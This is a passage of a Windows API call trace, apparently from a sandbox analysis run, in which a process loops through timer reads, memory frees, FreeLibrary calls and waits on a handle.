lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x616648f4, dwHighDateTime=0x1d9eb0c)) [0215.664] free (_Block=0x196ef0d1e20) [0215.664] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.665] free (_Block=0x196ef0d4e70) [0215.665] free (_Block=0x196ef0fb8b0) [0215.665] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.674] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x616648f4, dwHighDateTime=0x1d9eb0c)) [0215.675] free (_Block=0x196ef0d1d00) [0215.675] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.675] free (_Block=0x196ef0d4e70) [0215.676] free (_Block=0x196ef0fbfe0) [0215.676] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.683] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x61698140, dwHighDateTime=0x1d9eb0c)) [0215.684] free (_Block=0x196ef0d1f60) [0215.684] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.684] free (_Block=0x196ef0d4e70) [0215.685] free (_Block=0x196ef0fb270) [0215.685] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.695] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x616b0e5b, dwHighDateTime=0x1d9eb0c)) [0215.695] free (_Block=0x196ef0d1cc0) [0215.696] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.696] free (_Block=0x196ef0d4e70) [0215.697] free (_Block=0x196ef0fb5e0) [0215.697] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.843] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6182e56d, dwHighDateTime=0x1d9eb0c)) [0215.844] free (_Block=0x196ef0d1de0) [0215.844] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.845] free (_Block=0x196ef0d4e70) [0215.846] free (_Block=0x196ef0fbae0) [0215.846] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6182e56d, dwHighDateTime=0x1d9eb0c)) [0215.857] free (_Block=0x196ef0d1ac0) [0215.858] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.858] free (_Block=0x196ef0d4e70) [0215.860] free (_Block=0x196ef0fc080) [0215.860] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.979] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6195f63f, dwHighDateTime=0x1d9eb0c)) [0215.980] free (_Block=0x196ef0d1d80) [0215.980] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.981] free (_Block=0x196ef0d4e70) [0215.981] free (_Block=0x196ef0fb860) [0215.982] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0215.992] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x61985a4d, dwHighDateTime=0x1d9eb0c)) [0215.993] free (_Block=0x196ef0d1ec0) [0215.993] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0215.994] free (_Block=0x196ef0d4e70) [0215.995] free (_Block=0x196ef0fbe50) [0215.995] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.004] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x619ac143, dwHighDateTime=0x1d9eb0c)) [0216.005] free (_Block=0x196ef0d1de0) [0216.005] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.006] free (_Block=0x196ef0d4e70) [0216.007] free (_Block=0x196ef0fc120) [0216.007] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.016] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x619d1e68, dwHighDateTime=0x1d9eb0c)) [0216.017] free (_Block=0x196ef0d1fa0) [0216.017] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.018] free (_Block=0x196ef0d4e70) [0216.019] free (_Block=0x196ef0fb770) [0216.020] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.194] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x61b6b08e, dwHighDateTime=0x1d9eb0c)) [0216.195] free (_Block=0x196ef0d20c0) [0216.195] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.196] free (_Block=0x196ef0d4e70) [0216.196] free (_Block=0x196ef0fb270) [0216.197] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.205] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x61b912d2, dwHighDateTime=0x1d9eb0c)) [0216.206] free (_Block=0x196ef0d1a20) [0216.206] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.207] free (_Block=0x196ef0d4e70) [0216.208] free (_Block=0x196ef0fb8b0) [0216.208] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.217] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x61bb7706, dwHighDateTime=0x1d9eb0c)) [0216.217] free (_Block=0x196ef0d1aa0) [0216.218] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.219] free (_Block=0x196ef0d4e70) [0216.220] free (_Block=0x196ef0fb4a0) [0216.220] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.226] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x61bb7706, dwHighDateTime=0x1d9eb0c)) [0216.226] free (_Block=0x196ef0d1aa0) [0216.226] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.227] free (_Block=0x196ef0d4e70) [0216.228] free (_Block=0x196ef0fb720) [0216.228] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.401] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x61d5b004, dwHighDateTime=0x1d9eb0c)) [0216.402] free (_Block=0x196ef0d1e60) [0216.402] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.403] free (_Block=0x196ef0d4e70) [0216.404] free (_Block=0x196ef0fb6d0) [0216.404] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.415] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x61d81657, dwHighDateTime=0x1d9eb0c)) [0216.415] free (_Block=0x196ef0d1d00) [0216.416] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.416] free (_Block=0x196ef0d4e70) [0216.417] free (_Block=0x196ef0fc120) [0216.417] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.429] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x61da772c, dwHighDateTime=0x1d9eb0c)) [0216.430] free (_Block=0x196ef0d20e0) [0216.430] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.431] free (_Block=0x196ef0d4e70) [0216.432] free (_Block=0x196ef0fba40) [0216.432] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.613] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x61f7109c, dwHighDateTime=0x1d9eb0c)) [0216.614] free (_Block=0x196ef0d1f20) [0216.614] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.615] free (_Block=0x196ef0d4e70) [0216.616] free (_Block=0x196ef0fba40) [0216.616] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.623] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x61f973b8, dwHighDateTime=0x1d9eb0c)) [0216.624] free (_Block=0x196ef0d20a0) [0216.624] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.625] free (_Block=0x196ef0d4e70) [0216.625] free (_Block=0x196ef0fbd60) [0216.626] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.634] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x61f973b8, dwHighDateTime=0x1d9eb0c)) [0216.635] free (_Block=0x196ef0d1d60) [0216.635] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.636] free (_Block=0x196ef0d4e70) [0216.637] free (_Block=0x196ef0fb400) [0216.637] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.643] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x61fbf0dd, dwHighDateTime=0x1d9eb0c)) [0216.644] free (_Block=0x196ef0d1ba0) [0216.644] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.645] free (_Block=0x196ef0d4e70) [0216.646] free (_Block=0x196ef0fbef0) [0216.646] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.795] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6213ad12, dwHighDateTime=0x1d9eb0c)) [0216.822] free (_Block=0x196ef0d1f60) [0216.822] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.823] free (_Block=0x196ef0d4e70) [0216.824] free (_Block=0x196ef0fbae0) [0216.825] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.830] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x62188831, dwHighDateTime=0x1d9eb0c)) [0216.831] free (_Block=0x196ef0d1bc0) [0216.831] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.832] free (_Block=0x196ef0d4e70) [0216.833] free (_Block=0x196ef0fbc20) [0216.833] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.844] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x621ba518, dwHighDateTime=0x1d9eb0c)) [0216.845] free (_Block=0x196ef0d1be0) [0216.845] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.847] free (_Block=0x196ef0d4e70) [0216.848] free (_Block=0x196ef0fb7c0) [0216.848] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.857] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x621da0f5, dwHighDateTime=0x1d9eb0c)) [0216.859] free (_Block=0x196ef0d2020) [0216.860] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.860] free (_Block=0x196ef0d4e70) [0216.861] free (_Block=0x196ef0fb810) [0216.862] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0216.873] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x621fe7fa, dwHighDateTime=0x1d9eb0c)) [0216.874] free (_Block=0x196ef0d1aa0) [0216.874] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0216.874] free (_Block=0x196ef0d4e70) [0216.877] free (_Block=0x196ef0fb8b0) [0216.877] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.073] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x623d4cce, dwHighDateTime=0x1d9eb0c)) [0217.074] free (_Block=0x196ef0d1bc0) [0217.074] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0217.074] free (_Block=0x196ef0d4e70) [0217.076] free (_Block=0x196ef0fb4f0) [0217.076] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.098] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6242075d, dwHighDateTime=0x1d9eb0c)) [0217.099] free (_Block=0x196ef0d1ba0) [0217.100] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0217.100] free (_Block=0x196ef0d4e70) [0217.102] free (_Block=0x196ef0fbbd0) [0217.102] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.245] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x625776c0, dwHighDateTime=0x1d9eb0c)) [0217.245] free (_Block=0x196ef0d1c20) [0217.246] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0217.246] free (_Block=0x196ef0d4e70) [0217.247] free (_Block=0x196ef0fb4f0) [0217.247] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.252] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6259dbc8, dwHighDateTime=0x1d9eb0c)) [0217.253] free (_Block=0x196ef0d2000) [0217.253] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0217.254] free (_Block=0x196ef0d4e70) [0217.254] free (_Block=0x196ef0fb680) [0217.255] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.261] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6259dbc8, dwHighDateTime=0x1d9eb0c)) [0217.261] free (_Block=0x196ef0d1d00) [0217.262] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0217.262] free (_Block=0x196ef0d4e70) [0217.263] free (_Block=0x196ef0fbe50) [0217.263] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x625c3ec9, dwHighDateTime=0x1d9eb0c)) [0217.271] free (_Block=0x196ef0d1980) [0217.271] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0217.272] free (_Block=0x196ef0d4e70) [0217.273] free (_Block=0x196ef0fbe50) [0217.273] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.434] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x627412a3, dwHighDateTime=0x1d9eb0c)) [0217.434] free (_Block=0x196ef0d1f20) [0217.435] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0217.435] free (_Block=0x196ef0d4e70) [0217.436] free (_Block=0x196ef0fc080) [0217.436] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.443] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x62767733, dwHighDateTime=0x1d9eb0c)) [0217.443] free (_Block=0x196ef0d1de0) [0217.444] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0217.444] free (_Block=0x196ef0d4e70) [0217.445] free (_Block=0x196ef0fba40) [0217.445] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.452] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x62767733, dwHighDateTime=0x1d9eb0c)) [0217.453] free (_Block=0x196ef0d20e0) [0217.453] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0217.454] free (_Block=0x196ef0d4e70) [0217.454] free (_Block=0x196ef0fb4a0) [0217.455] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x6278d9e7, dwHighDateTime=0x1d9eb0c)) [0217.461] free (_Block=0x196ef0d1e00) [0217.461] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0217.461] free (_Block=0x196ef0d4e70) [0217.462] free (_Block=0x196ef0fba90) [0217.462] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.470] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x627b3be3, dwHighDateTime=0x1d9eb0c)) [0217.471] free (_Block=0x196ef0d1de0) [0217.471] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0217.472] free (_Block=0x196ef0d4e70) [0217.472] free (_Block=0x196ef0fb9a0) [0217.473] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.877] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x62b9389a, dwHighDateTime=0x1d9eb0c)) [0217.878] free (_Block=0x196ef0d1c60) [0217.878] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0217.879] free (_Block=0x196ef0d4e70) [0217.880] free (_Block=0x196ef0fbbd0) [0217.881] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.892] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x62b9389a, dwHighDateTime=0x1d9eb0c)) [0217.892] free (_Block=0x196ef0d1d00) [0217.893] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0217.893] free (_Block=0x196ef0d4e70) [0217.894] free (_Block=0x196ef0fb590) [0217.895] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.914] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x62bdfcb8, dwHighDateTime=0x1d9eb0c)) [0217.915] free (_Block=0x196ef0d1c00) [0217.915] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0217.916] free (_Block=0x196ef0d4e70) [0217.917] free (_Block=0x196ef0fb270) [0217.917] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0217.924] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x62c06209, dwHighDateTime=0x1d9eb0c)) [0217.925] free (_Block=0x196ef0d1a20) [0217.925] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0217.926] free (_Block=0x196ef0d4e70) [0217.926] free (_Block=0x196ef0fb4a0) [0217.927] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.119] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x62dcfc2f, dwHighDateTime=0x1d9eb0c)) [0218.119] free (_Block=0x196ef0d1aa0) [0218.119] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.120] free (_Block=0x196ef0d4e70) [0218.120] free (_Block=0x196ef0fbea0) [0218.121] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.127] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x62df5fca, dwHighDateTime=0x1d9eb0c)) [0218.128] free (_Block=0x196ef0d1bc0) [0218.128] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.129] free (_Block=0x196ef0d4e70) [0218.130] free (_Block=0x196ef0fbcc0) [0218.130] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.144] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x62e1bf71, dwHighDateTime=0x1d9eb0c)) [0218.145] free (_Block=0x196ef0d1d80) [0218.145] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.146] free (_Block=0x196ef0d4e70) [0218.147] free (_Block=0x196ef0fb2c0) [0218.147] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.230] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x62edaaa7, dwHighDateTime=0x1d9eb0c)) [0218.231] free (_Block=0x196ef0d19e0) [0218.231] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.232] free (_Block=0x196ef0d4e70) [0218.233] free (_Block=0x196ef0fba40) [0218.233] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.240] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x62f00e35, dwHighDateTime=0x1d9eb0c)) [0218.241] free (_Block=0x196ef0d2020) [0218.241] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.241] free (_Block=0x196ef0d4e70) [0218.242] free (_Block=0x196ef0fbbd0) [0218.242] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.248] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x62f00e35, dwHighDateTime=0x1d9eb0c)) [0218.248] free (_Block=0x196ef0d1d00) [0218.248] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.249] free (_Block=0x196ef0d4e70) [0218.249] free (_Block=0x196ef0fb8b0) [0218.249] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.256] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x62f2701a, dwHighDateTime=0x1d9eb0c)) [0218.257] free (_Block=0x196ef0d1a80) [0218.257] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.258] free (_Block=0x196ef0d4e70) [0218.258] free (_Block=0x196ef0fbdb0) [0218.259] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.266] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x62f2701a, dwHighDateTime=0x1d9eb0c)) [0218.266] free (_Block=0x196ef0d1d60) [0218.266] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.267] free (_Block=0x196ef0d4e70) [0218.268] free (_Block=0x196ef0fc080) [0218.269] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.408] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x630a478a, dwHighDateTime=0x1d9eb0c)) [0218.409] free (_Block=0x196ef0d1a40) [0218.409] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.410] free (_Block=0x196ef0d4e70) [0218.411] free (_Block=0x196ef0fbef0) [0218.411] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.420] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x630a478a, dwHighDateTime=0x1d9eb0c)) [0218.420] free (_Block=0x196ef0d1f60) [0218.420] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.421] free (_Block=0x196ef0d4e70) [0218.422] free (_Block=0x196ef0fb720) [0218.422] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.427] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x630cabea, dwHighDateTime=0x1d9eb0c)) [0218.428] free (_Block=0x196ef0d1e60) [0218.428] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.429] free (_Block=0x196ef0d4e70) [0218.429] free (_Block=0x196ef0fb7c0) [0218.429] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.435] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x630cabea, dwHighDateTime=0x1d9eb0c)) [0218.435] free (_Block=0x196ef0d2020) [0218.435] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.436] free (_Block=0x196ef0d4e70) [0218.436] free (_Block=0x196ef0fb270) [0218.436] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x630f0e9a, dwHighDateTime=0x1d9eb0c)) [0218.442] free (_Block=0x196ef0d19c0) [0218.443] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.443] free (_Block=0x196ef0d4e70) [0218.444] free (_Block=0x196ef0fb4a0) [0218.444] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: lpSystemTimeAsFileTime=0x67127f820*(dwLowDateTime=0x631d5b03, dwHighDateTime=0x1d9eb0c)) [0218.547] free (_Block=0x196ef0d1de0) [0218.547] FreeLibrary (hLibModule=0x7ffa786c0000) returned 1 [0218.548] free (_Block=0x196ef0d4e70) [0218.549] free (_Block=0x196ef0fba40) [0218.549] WaitForSingleObjectEx (hHandle=0x248, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0218.556] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67127f820 | out: 